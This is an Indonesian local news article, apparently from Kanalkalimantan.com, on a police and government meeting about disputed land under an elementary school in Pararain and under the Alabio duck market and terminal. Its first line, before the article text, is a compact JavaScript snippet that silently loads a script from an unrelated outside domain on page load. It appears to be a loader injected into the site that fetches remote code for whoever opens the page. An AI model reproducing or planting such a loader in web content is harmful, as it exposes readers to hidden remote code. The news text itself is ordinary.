(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI — Penyelesaian permasalahan sengketa tanah SDN Pararain Kecamatan Danau Panggang serta klaim kepemilikan lahan Pasar Itik Alabio dan Terminal Alabio, Polres Hulu Sungai Utara (HSU) mendorong permasalahan dapat diselesaikan secara damai.
Hal tersebut seperti disampaikan dalam Rapat Koordinasi (Rakor) antara Polres HSU bersama Forkopimda dan Pemerintah Kabupaten HSU dan pihak terkait, Kamis (31/7/2025)di Ruang Rapat Kejar Membangun, kantor Bupati HSU.
Rapat tersebut dihadiri Wakil Bupati HSU Hero Setiawan, Ketua Pengadilan Negeri Amuntai, Inspektorat, Kejaksaan Negeri, dan unsur Forkopimda, Kasat Reskrim Polres HSU, Kapolsek Danau Panggang, BPN, Dinas Pendidikan, BPKAD, dan Bhabinkamtibmas Desa Pararain.
Baca juga: Awang Bangkal Barat Jadi Desa Anti Maladministrasi
Rapat membahas dua permasalahan utama, pertama terkait sengketa lahan SDN Pararain. Pemerintah Kabupaten HSU akan mengupayakan penyelesaian melalui jalur mediasi dengan ahli waris, berpedoman pada harga tanah sesuai NJOP. Jika tidak tercapai kesepakatan, jalur hukum akan ditempuh, baik perdata maupun pidana jika ditemukan unsur pelanggaran hukum.
Kedua adalah terkait klaim atas lahan Pasar Itik dan Terminal Alabio. Dimana seorang warga mengklaim kepemilikan melalui dokumen SHGB eks BUMN PT Aduma Niaga yang dilikuidasi pada tahun 2000.
Saat ini di atas tanah tersebut telah berdiri aset Pemkab berupa pasar dan terminal, sehingga perlu kajian hukum lebih lanjut bersama BPN dan instansi terkait.
Baca juga: Warga Keluhkan Dampak Proyek Jembatan Sei Ulin: Warung Tutup, Drainase Mampet!
Permasalahan ini menjadi perhatian serius karena dapat berdampak pada situasi keamanan dan ketertiban masyarakat (Kamtibmas) apabila tidak ditangani secara bijak.
“Kami dari Polres HSU akan terus mengawal penyelesaian permasalahan ini secara profesional dan humanis. Pencegahan konflik sosial menjadi prioritas utama. Personel Bhabinkamtibmas dan Unit Intelkam telah kami gerakkan untuk melakukan deteksi dini serta pendekatan persuasif di lapangan,” tegas Kapolres HSU melalui Kasi Humas Iptu Asep Hudzainur.
Terungkap pula saat ini terdapat 18 sekolah di Kabupaten HSU yang berdiri di atas tanah hibah, namun belum tercatat sebagai aset resmi pemerintah daerah. Sehingga menjadi PR bersama dalam menata ulang legalitas aset pemerintah ke depan.
Baca juga: Orangtua Murid SDN 2 Laura Pilih Opsi Sekolah dalam Aula Ketimbang Masuk Siang
Polres HSU menegaskan komitmen untuk terus berkolaborasi dengan pemerintah daerah dan instansi terkait mengedepankan upaya preventif dan preemtif agar tidak terjadi potensi gesekan antara masyarakat dan pemerintah daerah. (Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
This website uses cookies.